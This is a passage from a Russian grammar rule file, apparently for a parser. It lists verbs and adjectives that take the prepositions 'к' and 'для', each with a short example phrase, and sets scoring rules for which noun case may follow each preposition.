rus_verbs:увозить{}, // увозить к ветеринару rus_verbs:засеменить{}, // засеменить к выходу rus_verbs:крепиться{}, // крепиться к потолку rus_verbs:прибрать{}, // прибрать к рукам rus_verbs:пристраститься{}, // пристраститься к наркотикам rus_verbs:поспеть{}, // поспеть к обеду rus_verbs:привязывать{}, // привязывать к дереву rus_verbs:прилагать{}, // прилагать к документам rus_verbs:переправить{}, // переправить к дедушке rus_verbs:подогнать{}, // подогнать к воротам rus_verbs:тяготеть{}, // тяготеть к социализму rus_verbs:подбираться{}, // подбираться к оленю rus_verbs:подступать{}, // подступать к горлу rus_verbs:примыкать{}, // примыкать к первому элементу rus_verbs:приладить{}, // приладить к велосипеду rus_verbs:подбрасывать{}, // подбрасывать к потолку rus_verbs:перевозить{}, // перевозить к новому месту дислокации rus_verbs:усаживаться{}, // усаживаться к окну rus_verbs:приближать{}, // приближать к глазам rus_verbs:попроситься{}, // попроситься к бабушке rus_verbs:прибить{}, // прибить к доске rus_verbs:перетащить{}, // перетащить к себе rus_verbs:прицепить{}, // прицепить к паровозу rus_verbs:прикладывать{}, // прикладывать к ране rus_verbs:устареть{}, // устареть к началу войны rus_verbs:причалить{}, // причалить к пристани rus_verbs:приспособиться{}, // приспособиться к опозданиям rus_verbs:принуждать{}, // принуждать к миру rus_verbs:соваться{}, // соваться к директору rus_verbs:протолкаться{}, // протолкаться к прилавку rus_verbs:приковать{}, // приковать к батарее rus_verbs:подкрадываться{}, // подкрадываться к суслику rus_verbs:подсадить{}, // подсадить к арестонту rus_verbs:прикатить{}, // прикатить к финишу rus_verbs:протащить{}, // протащить к владыке rus_verbs:сужаться{}, // сужаться к основанию rus_verbs:присовокупить{}, // присовокупить к пожеланиям rus_verbs:пригвоздить{}, // пригвоздить к доске rus_verbs:отсылать{}, // отсылать к первоисточнику rus_verbs:изготовиться{}, // изготовиться к прыжку rus_verbs:прилагаться{}, // прилагаться к покупке rus_verbs:прицепиться{}, // прицепиться к вагону rus_verbs:примешиваться{}, // примешиваться к вину rus_verbs:переселить{}, // переселить к старшекурсникам rus_verbs:затрусить{}, // затрусить к выходе rus_verbs:приспособить{}, // приспособить к обогреву rus_verbs:примериться{}, // примериться к аппарату rus_verbs:прибавляться{}, // прибавляться к пенсии rus_verbs:подкатиться{}, // подкатиться к воротам rus_verbs:стягивать{}, // стягивать к границе rus_verbs:дописать{}, // дописать к роману rus_verbs:подпустить{}, // подпустить к корове rus_verbs:склонять{}, // склонять к сотрудничеству rus_verbs:припечатать{}, // припечатать к стене rus_verbs:охладеть{}, // охладеть к музыке rus_verbs:пришить{}, // пришить к шинели rus_verbs:принюхиваться{}, // принюхиваться к ветру rus_verbs:подрулить{}, // подрулить к барышне rus_verbs:наведаться{}, // наведаться к оракулу rus_verbs:клеиться{}, // клеиться к конверту rus_verbs:перетянуть{}, // перетянуть к себе rus_verbs:переметнуться{}, // переметнуться к конкурентам rus_verbs:липнуть{}, // липнуть к сокурсницам rus_verbs:поковырять{}, // поковырять к выходу rus_verbs:подпускать{}, // подпускать к пульту управления rus_verbs:присосаться{}, // присосаться к источнику rus_verbs:приклеить{}, // приклеить к стеклу rus_verbs:подтягивать{}, // подтягивать к себе rus_verbs:подкатывать{}, // подкатывать к даме rus_verbs:притрагиваться{}, // притрагиваться к опухоли rus_verbs:слетаться{}, // слетаться к водопою rus_verbs:хаживать{}, // хаживать к батюшке rus_verbs:привлекаться{}, // привлекаться к административной ответственности rus_verbs:подзывать{}, // подзывать к себе rus_verbs:прикладываться{}, // прикладываться к иконе rus_verbs:подтягиваться{}, // подтягиваться к парламенту rus_verbs:прилепить{}, // прилепить к стенке холодильника rus_verbs:пододвинуться{}, // пододвинуться к экрану rus_verbs:приползти{}, // приползти к дереву rus_verbs:запаздывать{}, // запаздывать к обеду rus_verbs:припереть{}, // припереть к стене rus_verbs:нагибаться{}, // нагибаться к цветку инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять к воротам деепричастие:сгоняв{}, rus_verbs:поковылять{}, // поковылять к выходу rus_verbs:привалить{}, // привалить к столбу rus_verbs:отпроситься{}, // отпроситься к родителям rus_verbs:приспосабливаться{}, // приспосабливаться к новым условиям rus_verbs:прилипать{}, // прилипать к рукам rus_verbs:подсоединить{}, // подсоединить к приборам rus_verbs:приливать{}, // приливать к голове rus_verbs:подселить{}, // подселить к другим новичкам rus_verbs:прилепиться{}, // прилепиться к шкуре rus_verbs:подлетать{}, // подлетать к пункту назначения rus_verbs:пристегнуться{}, // пристегнуться к креслу ремнями rus_verbs:прибиться{}, // прибиться к стае, улетающей на юг rus_verbs:льнуть{}, // льнуть к заботливому хозяину rus_verbs:привязываться{}, // привязываться к любящему хозяину rus_verbs:приклеиться{}, // приклеиться к спине rus_verbs:стягиваться{}, // стягиваться к сенату rus_verbs:подготавливать{}, // подготавливать к выходу на арену rus_verbs:приглашаться{}, // приглашаться к доктору rus_verbs:причислять{}, // причислять к отличникам rus_verbs:приколоть{}, // приколоть к лацкану rus_verbs:наклонять{}, // наклонять к горизонту rus_verbs:припадать{}, // припадать к первоисточнику rus_verbs:приобщиться{}, // приобщиться к культурному наследию rus_verbs:придираться{}, // придираться к мелким ошибкам rus_verbs:приучать{}, // приучать к лотку rus_verbs:промотать{}, // промотать к началу rus_verbs:прихлынуть{}, // прихлынуть к голове rus_verbs:пришвартоваться{}, // пришвартоваться к первому пирсу rus_verbs:прикрутить{}, // прикрутить к велосипеду rus_verbs:подплывать{}, // подплывать к лодке rus_verbs:приравниваться{}, // приравниваться к побегу rus_verbs:подстрекать{}, // подстрекать к вооруженной борьбе с оккупантами rus_verbs:изготовляться{}, // изготовляться к прыжку из стратосферы rus_verbs:приткнуться{}, // приткнуться к первой группе туристов rus_verbs:приручить{}, // приручить котика к лотку rus_verbs:приковывать{}, // приковывать к себе все внимание прессы rus_verbs:приготовляться{}, // приготовляться к первому экзамену rus_verbs:остыть{}, // Вода остынет к утру. rus_verbs:приехать{}, // Он приедет к концу будущей недели. rus_verbs:подсаживаться{}, rus_verbs:успевать{}, // успевать к стилисту rus_verbs:привлекать{}, // привлекать к себе внимание прилагательное:устойчивый{}, // переводить в устойчивую к перегреву форму rus_verbs:прийтись{}, // прийтись ко двору инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована к условиям крайнего севера инфинитив:адаптировать{вид:соверш}, глагол:адаптировать{вид:несоверш}, глагол:адаптировать{вид:соверш}, деепричастие:адаптировав{}, деепричастие:адаптируя{}, прилагательное:адаптирующий{}, прилагательное:адаптировавший{ вид:соверш }, //+прилагательное:адаптировавший{ вид:несоверш }, прилагательное:адаптированный{}, инфинитив:адаптироваться{вид:соверш}, // тело адаптировалось к условиям суровой зимы инфинитив:адаптироваться{вид:несоверш}, глагол:адаптироваться{вид:соверш}, глагол:адаптироваться{вид:несоверш}, деепричастие:адаптировавшись{}, деепричастие:адаптируясь{}, прилагательное:адаптировавшийся{вид:соверш}, //+прилагательное:адаптировавшийся{вид:несоверш}, прилагательное:адаптирующийся{}, rus_verbs:апеллировать{}, // оратор апеллировал к патриотизму своих слушателей rus_verbs:близиться{}, // Шторм близится к побережью rus_verbs:доставить{}, // Эскиз ракеты, способной доставить корабль к Луне rus_verbs:буксировать{}, // Буксир буксирует танкер к месту стоянки rus_verbs:причислить{}, // Мы причислили его к числу экспертов rus_verbs:вести{}, // Наша партия ведет народ к процветанию rus_verbs:взывать{}, // Учителя взывают к совести хулигана rus_verbs:воззвать{}, // воззвать соплеменников к оружию rus_verbs:возревновать{}, // возревновать к поклонникам rus_verbs:воспылать{}, // Коля воспылал к Оле страстной любовью rus_verbs:восходить{}, // восходить к вершине rus_verbs:восшествовать{}, // восшествовать к вершине rus_verbs:успеть{}, // успеть к обеду rus_verbs:повернуться{}, // повернуться к кому-то rus_verbs:обратиться{}, // обратиться к охраннику rus_verbs:звать{}, // звать к столу rus_verbs:отправиться{}, // отправиться к парикмахеру rus_verbs:обернуться{}, // обернуться к зовущему rus_verbs:явиться{}, // явиться к следователю rus_verbs:уехать{}, // уехать к родне rus_verbs:прибыть{}, // прибыть к перекличке rus_verbs:привыкнуть{}, // привыкнуть к голоду rus_verbs:уходить{}, // уходить к цыганам rus_verbs:привести{}, // привести к себе rus_verbs:шагнуть{}, // шагнуть к славе rus_verbs:относиться{}, // относиться к прежним периодам rus_verbs:подослать{}, // подослать к врагам rus_verbs:поспешить{}, // поспешить к обеду rus_verbs:зайти{}, // зайти к подруге rus_verbs:позвать{}, // позвать к себе rus_verbs:потянуться{}, // потянуться к рычагам rus_verbs:пускать{}, // пускать к себе rus_verbs:отвести{}, // отвести к врачу rus_verbs:приблизиться{}, // приблизиться к решению задачи rus_verbs:прижать{}, // прижать к стене rus_verbs:отправить{}, // отправить к доктору rus_verbs:падать{}, // падать к многолетним минимумам rus_verbs:полезть{}, // полезть к дерущимся rus_verbs:лезть{}, // Ты сама ко мне лезла! rus_verbs:направить{}, // направить к майору rus_verbs:приводить{}, // приводить к дантисту rus_verbs:кинуться{}, // кинуться к двери rus_verbs:поднести{}, // поднести к глазам rus_verbs:подниматься{}, // подниматься к себе rus_verbs:прибавить{}, // прибавить к результату rus_verbs:зашагать{}, // зашагать к выходу rus_verbs:склониться{}, // склониться к земле rus_verbs:стремиться{}, // стремиться к вершине rus_verbs:лететь{}, // лететь к родственникам rus_verbs:ездить{}, // ездить к любовнице rus_verbs:приближаться{}, // приближаться к финише rus_verbs:помчаться{}, // помчаться к стоматологу rus_verbs:прислушаться{}, // прислушаться к происходящему rus_verbs:изменить{}, // изменить к лучшему собственную жизнь rus_verbs:проявить{}, // проявить к погибшим сострадание rus_verbs:подбежать{}, // подбежать к упавшему rus_verbs:терять{}, // терять к партнерам доверие rus_verbs:пропустить{}, // пропустить к певцу rus_verbs:подвести{}, // подвести к глазам rus_verbs:меняться{}, // меняться к лучшему rus_verbs:заходить{}, // заходить к другу rus_verbs:рвануться{}, // рвануться к воде rus_verbs:привлечь{}, // привлечь к себе внимание rus_verbs:присоединиться{}, // присоединиться к сети rus_verbs:приезжать{}, // приезжать к дедушке rus_verbs:дернуться{}, // дернуться к борту rus_verbs:подъехать{}, // подъехать к воротам rus_verbs:готовиться{}, // готовиться к дождю rus_verbs:убежать{}, // убежать к маме rus_verbs:поднимать{}, // поднимать к источнику сигнала rus_verbs:отослать{}, // отослать к руководителю rus_verbs:приготовиться{}, // приготовиться к худшему rus_verbs:приступить{}, // приступить к выполнению обязанностей rus_verbs:метнуться{}, // метнуться к фонтану rus_verbs:прислушиваться{}, // прислушиваться к голосу разума rus_verbs:побрести{}, // побрести к выходу rus_verbs:мчаться{}, // мчаться к успеху rus_verbs:нестись{}, // нестись к обрыву rus_verbs:попадать{}, // попадать к хорошему костоправу rus_verbs:опоздать{}, // опоздать к психотерапевту rus_verbs:посылать{}, // посылать к доктору rus_verbs:поплыть{}, // поплыть к берегу rus_verbs:подтолкнуть{}, // подтолкнуть к активной работе rus_verbs:отнести{}, // отнести животное к ветеринару rus_verbs:прислониться{}, // прислониться к стволу rus_verbs:наклонить{}, // наклонить к миске с молоком rus_verbs:прикоснуться{}, // прикоснуться к поверхности rus_verbs:увезти{}, // увезти к бабушке rus_verbs:заканчиваться{}, // заканчиваться к концу путешествия rus_verbs:подозвать{}, // подозвать к себе rus_verbs:улететь{}, // улететь к теплым берегам rus_verbs:ложиться{}, // ложиться к мужу rus_verbs:убираться{}, // убираться к чертовой бабушке rus_verbs:класть{}, // класть к другим документам rus_verbs:доставлять{}, // доставлять к подъезду rus_verbs:поворачиваться{}, // поворачиваться к источнику шума rus_verbs:заглядывать{}, // заглядывать к любовнице rus_verbs:занести{}, // занести к заказчикам rus_verbs:прибежать{}, // прибежать к папе rus_verbs:притянуть{}, // притянуть к причалу rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму rus_verbs:подать{}, // он подал лимузин к подъезду rus_verbs:подавать{}, // она подавала соус к мясу rus_verbs:приобщаться{}, // приобщаться к культуре прилагательное:неспособный{}, // Наша дочка неспособна к учению. прилагательное:неприспособленный{}, // Эти устройства неприспособлены к работе в жару прилагательное:предназначенный{}, // Старый дом предназначен к сносу. прилагательное:внимательный{}, // Она всегда внимательна к гостям. прилагательное:назначенный{}, // Дело назначено к докладу. прилагательное:разрешенный{}, // Эта книга разрешена к печати. прилагательное:снисходительный{}, // Этот учитель снисходителен к ученикам. прилагательное:готовый{}, // Я готов к экзаменам. прилагательное:требовательный{}, // Он очень требователен к себе. прилагательное:жадный{}, // Он жаден к деньгам. прилагательное:глухой{}, // Он глух к моей просьбе. прилагательное:добрый{}, // Он добр к детям. rus_verbs:проявлять{}, // Он всегда проявлял живой интерес к нашим делам. rus_verbs:плыть{}, // Пароход плыл к берегу. rus_verbs:пойти{}, // я пошел к доктору rus_verbs:придти{}, // придти к выводу rus_verbs:заглянуть{}, // Я заглянул к вам мимоходом. rus_verbs:принадлежать{}, // Это существо принадлежит к разряду растений. rus_verbs:подготавливаться{}, // Ученики подготавливаются к экзаменам. rus_verbs:спускаться{}, // Улица круто спускается к реке. rus_verbs:спуститься{}, // Мы спустились к реке. rus_verbs:пустить{}, // пускать ко дну rus_verbs:приговаривать{}, // Мы приговариваем тебя к пожизненному веселью! rus_verbs:отойти{}, // Дом отошёл к племяннику. rus_verbs:отходить{}, // Коля отходил ко сну. rus_verbs:приходить{}, // местные жители к нему приходили лечиться rus_verbs:кидаться{}, // не кидайся к столу rus_verbs:ходить{}, // Она простудилась и сегодня ходила к врачу. rus_verbs:закончиться{}, // Собрание закончилось к вечеру. rus_verbs:послать{}, // Они выбрали своих депутатов и послали их к заведующему. rus_verbs:направиться{}, // Мы сошли на берег и направились к городу. rus_verbs:направляться{}, rus_verbs:свестись{}, // Всё свелось к нулю. rus_verbs:прислать{}, // Пришлите кого-нибудь к ней. rus_verbs:присылать{}, // Он присылал к должнику своих головорезов rus_verbs:подлететь{}, // Самолёт подлетел к лесу. rus_verbs:возвращаться{}, // он возвращается к старой работе глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, деепричастие:находясь{}, прилагательное:находившийся{}, прилагательное:находящийся{}, // Япония находится к востоку от Китая. rus_verbs:возвращать{}, // возвращать к жизни rus_verbs:располагать{}, // Атмосфера располагает к работе. rus_verbs:возвратить{}, // Колокольный звон возвратил меня к прошлому. rus_verbs:поступить{}, // К нам поступила жалоба. rus_verbs:поступать{}, // К нам поступают жалобы. rus_verbs:прыгнуть{}, // Белка прыгнула к дереву rus_verbs:торопиться{}, // пассажиры торопятся к выходу rus_verbs:поторопиться{}, // поторопитесь к выходу rus_verbs:вернуть{}, // вернуть к активной жизни rus_verbs:припирать{}, // припирать к стенке rus_verbs:проваливать{}, // Проваливай ко всем чертям! rus_verbs:вбежать{}, // Коля вбежал ко мне rus_verbs:вбегать{}, // Коля вбегал ко мне глагол:забегать{ вид:несоверш }, // Коля забегал ко мне rus_verbs:постучаться{}, // Коля постучался ко мне. rus_verbs:повести{}, // Спросил я озорного Антонио и повел его к дому rus_verbs:понести{}, // Мы понесли кота к ветеринару rus_verbs:принести{}, // Я принес кота к ветеринару rus_verbs:устремиться{}, // Мы устремились к ручью. rus_verbs:подводить{}, // Учитель подводил детей к аквариуму rus_verbs:следовать{}, // Я получил приказ следовать к месту нового назначения. rus_verbs:пригласить{}, // Я пригласил к себе товарищей. rus_verbs:собираться{}, // Я собираюсь к тебе в гости. rus_verbs:собраться{}, // Маша собралась к дантисту rus_verbs:сходить{}, // Я схожу к врачу. rus_verbs:идти{}, // Маша уверенно шла к Пете rus_verbs:измениться{}, // Основные индексы рынка акций РФ почти не изменились к закрытию. rus_verbs:отыграть{}, // Российский рынок акций отыграл падение к закрытию. rus_verbs:заканчивать{}, // Заканчивайте к обеду rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время rus_verbs:окончить{}, // rus_verbs:дозвониться{}, // Я не мог к вам дозвониться. глагол:прийти{}, инфинитив:прийти{}, // Антонио пришел к Элеонор rus_verbs:уйти{}, // Антонио ушел к Элеонор rus_verbs:бежать{}, // Антонио бежит к Элеонор rus_verbs:спешить{}, // Антонио спешит к Элеонор rus_verbs:скакать{}, // Антонио скачет к Элеонор rus_verbs:красться{}, // Антонио крадётся к Элеонор rus_verbs:поскакать{}, // беглецы поскакали к холмам rus_verbs:перейти{} // Антонио перешел к Элеонор } fact гл_предл { if context { Гл_К_Дат предлог:к{} *:*{ падеж:дат } } then return true } fact гл_предл { if context { Гл_К_Дат предлог:к{} @regex("[a-z]+[0-9]*") } then return true } // для остальных падежей запрещаем. fact гл_предл { if context { * предлог:к{} *:*{} } then return false,-5 } #endregion Предлог_К #region Предлог_ДЛЯ // ------------------- С ПРЕДЛОГОМ 'ДЛЯ' ---------------------- wordentry_set Гл_ДЛЯ_Род={ частица:нет{}, // для меня нет других путей. частица:нету{}, rus_verbs:ЗАДЕРЖАТЬ{}, // полиция может задержать их для выяснения всех обстоятельств и дальнейшего опознания. (ЗАДЕРЖАТЬ) rus_verbs:ДЕЛАТЬСЯ{}, // это делалось для людей (ДЕЛАТЬСЯ) rus_verbs:обернуться{}, // обернулась для греческого рынка труда банкротствами предприятий и масштабными сокращениями (обернуться) rus_verbs:ПРЕДНАЗНАЧАТЬСЯ{}, // Скорее всего тяжелый клинок вообще не предназначался для бросков (ПРЕДНАЗНАЧАТЬСЯ) rus_verbs:ПОЛУЧИТЬ{}, // ты можешь получить его для нас? (ПОЛУЧИТЬ) rus_verbs:ПРИДУМАТЬ{}, // Ваш босс уже придумал для нас веселенькую смерть. (ПРИДУМАТЬ) rus_verbs:оказаться{}, // это оказалось для них тяжелой задачей rus_verbs:ГОВОРИТЬ{}, // теперь она говорила для нас обоих (ГОВОРИТЬ) rus_verbs:ОСВОБОДИТЬ{}, // освободить ее для тебя? (ОСВОБОДИТЬ) rus_verbs:работать{}, // Мы работаем для тех, кто ценит удобство rus_verbs:СТАТЬ{}, // кем она станет для него? (СТАТЬ) rus_verbs:ЯВИТЬСЯ{}, // вы для этого явились сюда? (ЯВИТЬСЯ) rus_verbs:ПОТЕРЯТЬ{}, // жизнь потеряла для меня всякий смысл (ПОТЕРЯТЬ) rus_verbs:УТРАТИТЬ{}, // мой мир утратил для меня всякое подобие смысла (УТРАТИТЬ) rus_verbs:ДОСТАТЬ{}, // ты должен достать ее для меня! (ДОСТАТЬ) rus_verbs:БРАТЬ{}, // некоторые берут для себя (БРАТЬ) rus_verbs:ИМЕТЬ{}, // имею для вас новость (ИМЕТЬ) rus_verbs:ЖДАТЬ{}, // тебя ждут для разговора (ЖДАТЬ) rus_verbs:ПРОПАСТЬ{}, // совсем пропал для мира (ПРОПАСТЬ) rus_verbs:ПОДНЯТЬ{}, // нас подняли для охоты (ПОДНЯТЬ) rus_verbs:ОСТАНОВИТЬСЯ{}, // время остановилось для нее (ОСТАНОВИТЬСЯ) rus_verbs:НАЧИНАТЬСЯ{}, // для него начинается новая жизнь (НАЧИНАТЬСЯ) rus_verbs:КОНЧИТЬСЯ{}, // кончились для него эти игрушки (КОНЧИТЬСЯ) rus_verbs:НАСТАТЬ{}, // для него настало время действовать (НАСТАТЬ) rus_verbs:СТРОИТЬ{}, // для молодых строили новый дом (СТРОИТЬ) rus_verbs:ВЗЯТЬ{}, // возьми для защиты этот меч (ВЗЯТЬ) rus_verbs:ВЫЯСНИТЬ{}, // попытаюсь выяснить для вас всю цепочку (ВЫЯСНИТЬ) rus_verbs:ПРИГОТОВИТЬ{}, // давай попробуем приготовить для них сюрприз (ПРИГОТОВИТЬ) rus_verbs:ПОДХОДИТЬ{}, // берег моря мертвых подходил для этого идеально (ПОДХОДИТЬ) rus_verbs:ОСТАТЬСЯ{}, // внешний вид этих тварей остался для нас загадкой (ОСТАТЬСЯ) rus_verbs:ПРИВЕЗТИ{}, // для меня привезли пиво (ПРИВЕЗТИ) прилагательное:ХАРАКТЕРНЫЙ{}, // Для всей территории края характерен умеренный континентальный климат (ХАРАКТЕРНЫЙ) rus_verbs:ПРИВЕСТИ{}, // для меня белую лошадь привели (ПРИВЕСТИ ДЛЯ) rus_verbs:ДЕРЖАТЬ{}, // их держат для суда (ДЕРЖАТЬ ДЛЯ) rus_verbs:ПРЕДОСТАВИТЬ{}, // вьетнамец предоставил для мигрантов места проживания в ряде вологодских общежитий (ПРЕДОСТАВИТЬ ДЛЯ) rus_verbs:ПРИДУМЫВАТЬ{}, // придумывая для этого разнообразные причины (ПРИДУМЫВАТЬ ДЛЯ) rus_verbs:оставить{}, // или вообще решили оставить планету для себя rus_verbs:оставлять{}, rus_verbs:ВОССТАНОВИТЬ{}, // как ты можешь восстановить это для меня? (ВОССТАНОВИТЬ ДЛЯ) rus_verbs:ТАНЦЕВАТЬ{}, // а вы танцевали для меня танец семи покрывал (ТАНЦЕВАТЬ ДЛЯ) rus_verbs:ДАТЬ{}, // твой принц дал мне это для тебя! (ДАТЬ ДЛЯ) rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // мужчина из лагеря решил воспользоваться для передвижения рекой (ВОСПОЛЬЗОВАТЬСЯ ДЛЯ) rus_verbs:СЛУЖИТЬ{}, // они служили для разговоров (СЛУЖИТЬ ДЛЯ) rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // Для вычисления радиуса поражения ядерных взрывов используется формула (ИСПОЛЬЗОВАТЬСЯ ДЛЯ) rus_verbs:ПРИМЕНЯТЬСЯ{}, // Применяется для изготовления алкогольных коктейлей (ПРИМЕНЯТЬСЯ ДЛЯ) rus_verbs:СОВЕРШАТЬСЯ{}, // Для этого совершался специальный магический обряд (СОВЕРШАТЬСЯ ДЛЯ) rus_verbs:ПРИМЕНИТЬ{}, // а здесь попробуем применить ее для других целей. (ПРИМЕНИТЬ ДЛЯ) rus_verbs:ПОЗВАТЬ{}, // ты позвал меня для настоящей работы. (ПОЗВАТЬ ДЛЯ) rus_verbs:НАЧАТЬСЯ{}, // очередной денек начался для Любки неудачно (НАЧАТЬСЯ ДЛЯ) rus_verbs:ПОСТАВИТЬ{}, // вас здесь для красоты поставили? (ПОСТАВИТЬ ДЛЯ) rus_verbs:умереть{}, // или умерла для всяких чувств? (умереть для) rus_verbs:ВЫБРАТЬ{}, // ты сам выбрал для себя этот путь. (ВЫБРАТЬ ДЛЯ) rus_verbs:ОТМЕТИТЬ{}, // тот же отметил для себя другое. (ОТМЕТИТЬ ДЛЯ) rus_verbs:УСТРОИТЬ{}, // мы хотим устроить для них школу. (УСТРОИТЬ ДЛЯ) rus_verbs:БЫТЬ{}, // у меня есть для тебя работа. (БЫТЬ ДЛЯ) rus_verbs:ВЫЙТИ{}, // для всего нашего поколения так вышло. (ВЫЙТИ ДЛЯ) прилагательное:ВАЖНЫЙ{}, // именно твое мнение для нас крайне важно. (ВАЖНЫЙ ДЛЯ) прилагательное:НУЖНЫЙ{}, // для любого племени нужна прежде всего сила. (НУЖЕН ДЛЯ) прилагательное:ДОРОГОЙ{}, // эти места были дороги для них обоих. (ДОРОГОЙ ДЛЯ) rus_verbs:НАСТУПИТЬ{}, // теперь для больших людей наступило время действий. (НАСТУПИТЬ ДЛЯ) rus_verbs:ДАВАТЬ{}, // старый пень давал для этого хороший огонь. (ДАВАТЬ ДЛЯ) rus_verbs:ГОДИТЬСЯ{}, // доброе старое время годится лишь для воспоминаний. (ГОДИТЬСЯ ДЛЯ) rus_verbs:ТЕРЯТЬ{}, // время просто теряет для вас всякое значение. (ТЕРЯТЬ ДЛЯ) rus_verbs:ЖЕНИТЬСЯ{}, // настало время жениться для пользы твоего клана. (ЖЕНИТЬСЯ ДЛЯ) rus_verbs:СУЩЕСТВОВАТЬ{}, // весь мир перестал существовать для них обоих. (СУЩЕСТВОВАТЬ ДЛЯ) rus_verbs:ЖИТЬ{}, // жить для себя или жить для них. (ЖИТЬ ДЛЯ) rus_verbs:открыть{}, // двери моего дома всегда открыты для вас. (ОТКРЫТЫЙ ДЛЯ) rus_verbs:закрыть{}, // этот мир будет закрыт для них. (ЗАКРЫТЫЙ ДЛЯ) rus_verbs:ТРЕБОВАТЬСЯ{}, // для этого требуется огромное количество энергии. (ТРЕБОВАТЬСЯ ДЛЯ) rus_verbs:РАЗОРВАТЬ{}, // Алексей разорвал для этого свою рубаху. (РАЗОРВАТЬ ДЛЯ) rus_verbs:ПОДОЙТИ{}, // вполне подойдет для начала нашей экспедиции. (ПОДОЙТИ ДЛЯ) прилагательное:опасный{}, // сильный холод опасен для открытой раны. (ОПАСЕН ДЛЯ) rus_verbs:ПРИЙТИ{}, // для вас пришло очень важное сообщение. (ПРИЙТИ ДЛЯ) rus_verbs:вывести{}, // мы специально вывели этих животных для мяса. rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ) rus_verbs:оставаться{}, // механизм этого воздействия остается для меня загадкой. (остается для) rus_verbs:ЯВЛЯТЬСЯ{}, // Чай является для китайцев обычным ежедневным напитком (ЯВЛЯТЬСЯ ДЛЯ) rus_verbs:ПРИМЕНЯТЬ{}, // Для оценок будущих изменений климата применяют модели общей циркуляции атмосферы. (ПРИМЕНЯТЬ ДЛЯ) rus_verbs:ПОВТОРЯТЬ{}, // повторяю для Пети (ПОВТОРЯТЬ ДЛЯ) rus_verbs:УПОТРЕБЛЯТЬ{}, // Краски, употребляемые для живописи (УПОТРЕБЛЯТЬ ДЛЯ) rus_verbs:ВВЕСТИ{}, // Для злостных нарушителей предложили ввести повышенные штрафы (ВВЕСТИ ДЛЯ) rus_verbs:найтись{}, // у вас найдется для него работа? rus_verbs:заниматься{}, // они занимаются этим для развлечения. (заниматься для) rus_verbs:заехать{}, // Коля заехал для обсуждения проекта rus_verbs:созреть{}, // созреть для побега rus_verbs:наметить{}, // наметить для проверки rus_verbs:уяснить{}, // уяснить для себя rus_verbs:нанимать{}, // нанимать для разовой работы rus_verbs:приспособить{}, // приспособить для удовольствия rus_verbs:облюбовать{}, // облюбовать для посиделок rus_verbs:прояснить{}, // прояснить для себя rus_verbs:задействовать{}, // задействовать для патрулирования rus_verbs:приготовлять{}, // приготовлять для проверки инфинитив:использовать{ вид:соверш }, // использовать для достижения цели инфинитив:использовать{ вид:несоверш }, глагол:использовать{ вид:соверш }, глагол:использовать{ вид:несоверш }, прилагательное:использованный{}, деепричастие:используя{}, деепричастие:использовав{}, rus_verbs:напрячься{}, // напрячься для решительного рывка rus_verbs:одобрить{}, // одобрить для использования rus_verbs:одобрять{}, // одобрять для использования rus_verbs:пригодиться{}, // пригодиться для тестирования rus_verbs:готовить{}, // готовить для выхода в свет rus_verbs:отобрать{}, // отобрать для участия в конкурсе rus_verbs:потребоваться{}, // потребоваться для подтверждения rus_verbs:пояснить{}, // пояснить для слушателей rus_verbs:пояснять{}, // пояснить для экзаменаторов rus_verbs:понадобиться{}, // понадобиться для обоснования инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована для условий крайнего севера инфинитив:адаптировать{вид:соверш}, глагол:адаптировать{вид:несоверш}, глагол:адаптировать{вид:соверш}, деепричастие:адаптировав{}, деепричастие:адаптируя{}, прилагательное:адаптирующий{}, прилагательное:адаптировавший{ вид:соверш }, //+прилагательное:адаптировавший{ вид:несоверш }, прилагательное:адаптированный{}, rus_verbs:найти{}, // Папа нашел для детей няню прилагательное:вредный{}, // Это вредно для здоровья. прилагательное:полезный{}, // Прогулки полезны для здоровья. прилагательное:обязательный{}, // Этот пункт обязателен для исполнения прилагательное:бесполезный{}, // Это лекарство бесполезно для него прилагательное:необходимый{}, // Это лекарство необходимо для выздоровления rus_verbs:создать{}, // Он не создан для этого дела. прилагательное:сложный{}, // задача сложна для младших школьников прилагательное:несложный{}, прилагательное:лёгкий{}, прилагательное:сложноватый{}, rus_verbs:становиться{}, rus_verbs:представлять{}, // Это не представляет для меня интереса. rus_verbs:значить{}, // Я рос в деревне и хорошо знал, что для деревенской жизни значат пруд или речка rus_verbs:пройти{}, // День прошёл спокойно для него. rus_verbs:проходить{}, rus_verbs:высадиться{}, // большой злой пират и его отчаянные помощники высадились на необитаемом острове для поиска зарытых сокровищ rus_verbs:высаживаться{}, rus_verbs:прибавлять{}, // Он любит прибавлять для красного словца. rus_verbs:прибавить{}, rus_verbs:составить{}, // Ряд тригонометрических таблиц был составлен для астрономических расчётов. rus_verbs:составлять{}, rus_verbs:стараться{}, // Я старался для вас rus_verbs:постараться{}, // Я постарался для вас rus_verbs:сохраниться{}, // Старик хорошо сохранился для своего возраста. rus_verbs:собраться{}, // собраться для обсуждения rus_verbs:собираться{}, // собираться для обсуждения rus_verbs:уполномочивать{}, rus_verbs:уполномочить{}, // его уполномочили для ведения переговоров rus_verbs:принести{}, // Я принёс эту книгу для вас. rus_verbs:делать{}, // Я это делаю для удовольствия. rus_verbs:сделать{}, // Я сделаю это для удовольствия. rus_verbs:подготовить{}, // я подготовил для друзей сюрприз rus_verbs:подготавливать{}, // я подготавливаю для гостей новый сюрприз rus_verbs:закупить{}, // Руководство района обещало закупить новые комбайны для нашего села rus_verbs:купить{}, // Руководство района обещало купить новые комбайны для нашего села rus_verbs:прибыть{} // они прибыли для участия } fact гл_предл { if context { Гл_ДЛЯ_Род предлог:для{} *:*{ падеж:род } } then return true } fact гл_предл { if context { Гл_ДЛЯ_Род предлог:для{} @regex("[a-z]+[0-9]*") } then return true } // для остальных падежей запрещаем. fact гл_предл { if context { * предлог:для{} *:*{} } then return false,-4 } #endregion Предлог_ДЛЯ #region Предлог_ОТ // попробуем иную стратегию - запретить связывание с ОТ для отдельных глаголов, разрешив для всех остальных. wordentry_set Глаг_ОТ_Род_Запр= { rus_verbs:наслаждаться{}, // свободой от обязательств rus_verbs:насладиться{}, rus_verbs:мочь{}, // Он не мог удержаться от 